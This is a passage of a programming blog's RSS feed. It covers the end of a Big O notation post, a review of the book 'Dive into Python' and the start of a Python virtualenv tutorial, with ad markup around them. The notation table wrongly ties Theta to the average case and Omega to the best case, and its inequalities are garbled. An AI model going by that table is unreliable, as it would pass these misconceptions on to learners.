situation.&lt;/p&gt;&#xA;&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;&#xA;      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/ZZuD6iUe3Pc?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;&#xA;    &lt;/div&gt;&#xA;&#xA;&lt;p&gt;About algorithms there is a lot to talk about, this is merely a brushstroke, if you want to delve into this topic I recommend a bewitching book called &lt;strong&gt;&lt;em&gt;The Algorithm Design Manual&lt;/em&gt;&lt;/strong&gt; written by Steven S. Skiena, where the subject of algorithms and also big O notation is discussed in much more depth than in this publication. I highly recommend it, it is a book that should be part of your reference collection. You can buy it at Amazon or other online stores.&lt;/p&gt;&#xA;&lt;p&gt;If you are looking for something more visual to introduce you to the world of algorithms watch this excellent BBC documentary:&lt;/p&gt;&#xA;&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;&#xA;      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/Q9HjeFD62Uk?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;&#xA;    &lt;/div&gt;&#xA;&#xA;&lt;h2 id=&#34;alternative-big-o-notations&#34;&gt;Alternative Big O notations&lt;/h2&gt;&#xA;&lt;p&gt;When measuring algorithm efficiency, we use &lt;strong&gt;asymptotic notations&lt;/strong&gt; to describe the growth rate of an algorithm&amp;rsquo;s time or space complexity. As you can guess, the most commonly used are &lt;strong&gt;Big-O (for worst-case analysis)&lt;/strong&gt; and &lt;strong&gt;Theta (for precise average-case analysis)&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Notation&lt;/th&gt;&#xA;          &lt;th&gt;Analogy (Inequality)&lt;/th&gt;&#xA;          &lt;th&gt;Meaning&lt;/th&gt;&#xA;          &lt;th&gt;Example&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Big-O (O)&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;(f(n) &amp;lt; eq c ⋅ g(n))&lt;/td&gt;&#xA;          &lt;td&gt;Worst-case upper bound&lt;/td&gt;&#xA;          &lt;td&gt;(2n = O(n))&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Omega (Ω)&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;(f(n) &amp;gt; eq c ⋅ g(n))&lt;/td&gt;&#xA;          &lt;td&gt;Best-case lower bound&lt;/td&gt;&#xA;          &lt;td&gt;(n^2 = Ω(n))&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Theta (Θ)&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;(c1 g(n) &amp;lt; eq f(n) &amp;lt; eq c2 g(n))&lt;/td&gt;&#xA;          &lt;td&gt;Tight bound (average case)&lt;/td&gt;&#xA;          &lt;td&gt;(3n + 5 = Θ(n))&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Little-o (o)&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;(f(n) &amp;lt; c ⋅ g(n))&lt;/td&gt;&#xA;          &lt;td&gt;Strictly looser upper bound&lt;/td&gt;&#xA;          &lt;td&gt;(n = o(n log n))&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Little-omega (ω)&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;(f(n) &amp;gt; c ⋅ g(n))&lt;/td&gt;&#xA;          &lt;td&gt;Strictly looser lower bound&lt;/td&gt;&#xA;          &lt;td&gt;(n^2 = ω(n log n))&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;h2 id=&#34;where-to-practice-algorithms&#34;&gt;Where to practice algorithms?&lt;/h2&gt;&#xA;&lt;p&gt;Here are some options to practice algorithms.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/opinion/top-5-favorite-algorithm-problems-at-codewars/&#34;&gt;codewars&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/an-algorithm-problem-a-day/&#34;&gt;One algorithm a day&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.hackerrank.com/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;HackerRank&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;I love astrophysics and try to keep up with new discoveries as they happen; whether they are trivial things, like the discovery of a new planet; or significant, like the hypothetical Dyson spheres they swear they find every month. But this time the discovery was simply outstanding.&lt;/p&gt;&#xA;&lt;p&gt;Last April 2019, the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.bbc.com/news/science-environment-47873592&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;first photograph of a black hole&lt;/a&gt;&#xA; was published.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/the-big-o-notation-for-algorithm-analysis/images/BigO_notacion.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/the-big-o-notation-for-algorithm-analysis/images/BigO_notacion.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;First picture of a black hole&#34; width=&#34;1200&#34; height=&#34;628&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;First picture of a black hole&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Dive into Python the Best book to learn python</title>
      <link>https://coffeebytes.dev/en/python/dive-into-python-the-best-book-to-learn-python/</link>
      <pubDate>Wed, 31 Jul 2019 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/python/dive-into-python-the-best-book-to-learn-python/</guid>
      
      <category>python</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;This book was my favorite book to learn Python, even if you&amp;rsquo;re a beginner or have no experience at all. Since this was one of my first approaches to Python my review may be biased, but it&amp;rsquo;s completely authentic.&lt;/p&gt;&#xA;&lt;p&gt;If you&amp;rsquo;re interested in more books to learn python &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/my-curated-best-resources-to-learn-python-programming-language/&#34;&gt;here&amp;rsquo;s my list of favorite resources to learn Python&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;what-topics-are-covered-in-the-book&#34;&gt;What topics are covered in the book?&lt;/h2&gt;&#xA;&lt;p&gt;This book is an introduction to language, designed to explain language and its nuances from the ground up. The first chapters deal with the installation of the language in the main operating systems, as well as its syntax, so don&amp;rsquo;t worry if you&amp;rsquo;re a beginner with no experience at all.&lt;/p&gt;&#xA;&lt;p&gt;After a couple of chapters, the author develops the topic of Python&amp;rsquo;s native data handling; Booleans, numbers, lists, tuples, sets, dictionaries, as well as its most common methods. At the end of the brief introduction to the language, the author gives us a walk through more advanced concepts such as:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Explanation of how Python transforms bytes into text strings.&lt;/li&gt;&#xA;&lt;li&gt;Efficiency of algorithms at an entry level&lt;/li&gt;&#xA;&lt;li&gt;Generators&lt;/li&gt;&#xA;&lt;li&gt;Iterators&lt;/li&gt;&#xA;&lt;li&gt;Closures&lt;/li&gt;&#xA;&lt;li&gt;Regular expressions&lt;/li&gt;&#xA;&lt;li&gt;xml handling&lt;/li&gt;&#xA;&lt;li&gt;http requests&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The above topics are discussed while searching for a solution to a specific problem. For example: regular expressions are explained by trying to create a function that transforms Roman numerals into Arabic numerals and vice versa, iterators are applied in order to create a small application that transforms words into plural (following the grammatical rules of the English language, of course).&lt;/p&gt;&#xA;&lt;p&gt;By treating the topics as small projects, the author raises questions that a programmer may face, such as the dilemma between prioritizing the speed of the code or the memory used by the program.&lt;/p&gt;&#xA;&lt;p&gt;At the end of each chapter the author recommends additional material to deepen the concepts discussed throughout the chapter.&lt;/p&gt;&#xA;&lt;h2 id=&#34;what-makes-dive-into-python-superior&#34;&gt;What makes Dive into Python superior?&lt;/h2&gt;&#xA;&lt;p&gt;Well, I consider that, what makes Dive into Python superior is that the book is concise; it attempts to explain the basics and most useful aspects of the language in a concise manner.&lt;/p&gt;&#xA;&lt;p&gt;It doesn&amp;rsquo;t cram unnecessary content for the sake of appearing more comprehensive, nor does it fall short. It focuses on teaching what&amp;rsquo;s necessary, unlike other books that attempt to cover the entire language and end up being abandoned by the reader.&lt;/p&gt;&#xA;&lt;h2 id=&#34;where-do-i-download-or-buy-dive-into-python&#34;&gt;Where do I download or buy Dive into Python?&lt;/h2&gt;&#xA;&lt;p&gt;Dive into Python is one of the best materials you can find on the internet about Python and, if that&amp;rsquo;s not enough, it is licensed under a Creative Commons 3.0 license, which makes it freely available to the general public, of course I&amp;rsquo;m talking about a digital edition.&lt;/p&gt;&#xA;&lt;p&gt;If you&amp;rsquo;re interested in adquiring a hard-cover version, you can get &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://amzn.to/4oinuzN&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Dive into Python 3 on Amazon&lt;/a&gt;&#xA;, just make sure you&amp;rsquo;re buying the version that covers Python 3, the one with a 3 on the cover. Also, if you&amp;rsquo;re a Spanish speaker, or want to practice your Spanish skills check this &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/jmgaguilera/inmersionenpython3&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Dive into Python translation completely for free&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;strong&gt;Recommended prerequisite knowledge:&lt;/strong&gt;&lt;/strong&gt; HTML and XML&#xA;&lt;strong&gt;Recommended to read:&lt;/strong&gt; 8/10&#xA;&lt;strong&gt;Languages:&lt;/strong&gt; English, Spanish&lt;/p&gt;&#xA;&lt;p&gt;If you want to read about another excellent one to learn about Python visit my post that talks about &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/dive-into-python-the-best-book-to-learn-python/&#34;&gt;Beginning Python From Novice to Professional&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;This book was my favorite book to learn Python, even if you&amp;rsquo;re a beginner or have no experience at all. Since this was one of my first approaches to Python my review may be biased, but it&amp;rsquo;s completely authentic.&lt;/p&gt;&#xA;&lt;p&gt;If you&amp;rsquo;re interested in more books to learn python &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/my-curated-best-resources-to-learn-python-programming-language/&#34;&gt;here&amp;rsquo;s my list of favorite resources to learn Python&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;what-topics-are-covered-in-the-book&#34;&gt;What topics are covered in the book?&lt;/h2&gt;&#xA;&lt;p&gt;This book is an introduction to language, designed to explain language and its nuances from the ground up. The first chapters deal with the installation of the language in the main operating systems, as well as its syntax, so don&amp;rsquo;t worry if you&amp;rsquo;re a beginner with no experience at all.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Python virtualenv linux basic tutorial</title>
      <link>https://coffeebytes.dev/en/python/python-virtualenv-linux-basic-tutorial/</link>
      <pubDate>Mon, 15 Jul 2019 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/python/python-virtualenv-linux-basic-tutorial/</guid>
      
      <category>python</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;If you have no idea what a virtual environment is for, I have a post where I explain what &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/why-should-you-use-a-virtual-environment-in-python/&#34;&gt;virtual environments in Python&lt;/a&gt;&#xA; are for. Today I&amp;rsquo;m here to bring you a little Python virtualenv tutorial where we&amp;rsquo;ll install a couple of packages in a virtual environment and see how they behave. Make sure you have &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.python.org/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Python&lt;/a&gt;&#xA; and &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pip.pypa.io/en/stable/installing/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Pip&lt;/a&gt;&#xA; installed because we will need them.&lt;/p&gt;&#xA;&lt;h2 id=&#34;preparations-for-using-virtualenv&#34;&gt;Preparations for using virtualenv&lt;/h2&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s start first by creating a new directory, you can put it wherever you prefer.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mkdir entornoVirtual; &lt;span style=&#34;color:#ff5c57&#34;&gt;cd&lt;/span&gt; entornoVirtual&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Once we are inside this new directory we will verify our Python installation:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Python3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Inside the Python interpreter we will try to import the &lt;em&gt;requests&lt;/em&gt; library, used to make web requests:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt; import requests&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Traceback &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;most recent call last&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  File &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&amp;lt;stdin&amp;gt;&amp;#34;&lt;/span&gt;, line 1, in &amp;lt;module&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ImportError: No module named &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;requests&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As we do not have it installed in our operating system we get an error, of course, how smart we are. Let&amp;rsquo;s exit the Python interpreter:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;exit&lt;span style=&#34;color:#ff6ac1&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We could install &lt;em&gt;requests&lt;/em&gt; in our operating system, but that would force us to always use the same version, so instead we will install virtualenv, to be able to use virtual environments. To do this we will use &lt;em&gt;pip&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo pip install virtualenv&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip3 install virtualenv&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Collecting virtualenv&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Downloading https://files.pythonhosted.org/packages/db/9e/df208b2baad146fe3fbe750eacadd6e49bcf2f2c3c1117b7192a7b28aec4/virtualenv-16.7.2-py2.py3-none-any.whl --&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;3.3MB&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    100% |████████████████████████████████| 3.3MB 3.6MB/s &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Installing collected packages: virtualenv&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Successfully installed virtualenv-16.7.2&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;create-a-virtual-environment-in-python&#34;&gt;Create a virtual environment in python&lt;/h2&gt;&#xA;&lt;p&gt;To create a virtual environment we will use the &lt;em&gt;virtualenv&lt;/em&gt; command, specify a version of &lt;em&gt;Python&lt;/em&gt; with the &lt;em&gt;-p&lt;/em&gt; option and give a name to our virtual environment, for the sake of simplicity I will call it &lt;em&gt;&amp;lsquo;virtual&amp;rsquo;&lt;/em&gt;, but you can call it whatever you want.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;virtualenv -p python3 virtual&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Running virtualenv with interpreter&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Already using interpreter /usr/bin/python3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Using base prefix &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;/usr&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;New python executable in /tu/python/ruta/virtual/bin/python3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Also creating executable in /tu/python/ruta/virtual/bin/python&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Installing setuptools, pip, wheel...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;done&lt;/span&gt;.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Once the command has finished executing, a folder will be created in our current directory. This folder contains all the files necessary to be able to use the virtual environment. The packages that we install while we are using the virtual environment will go inside that folder. I have abbreviated the contents for the sake of simplicity, but you can check the inside of the folder yourself to get to know it completely.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;└── virtual&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ├── bin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    │   ├── activate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    │   ├── activate.csh&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    │   ├── activate.fish&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    │   ├── activate.ps1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    │   ├── activate_this.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    │   ├── activate.xsh&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    │   ├── easy_install&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    │   ├── easy_install-3.5&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    │   ├── pip&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    │   ├── pip3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    │   ├── pip3.5&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    │   ├── python -&amp;gt; python3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    │   ├── python3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    │   ├── python3.5 -&amp;gt; 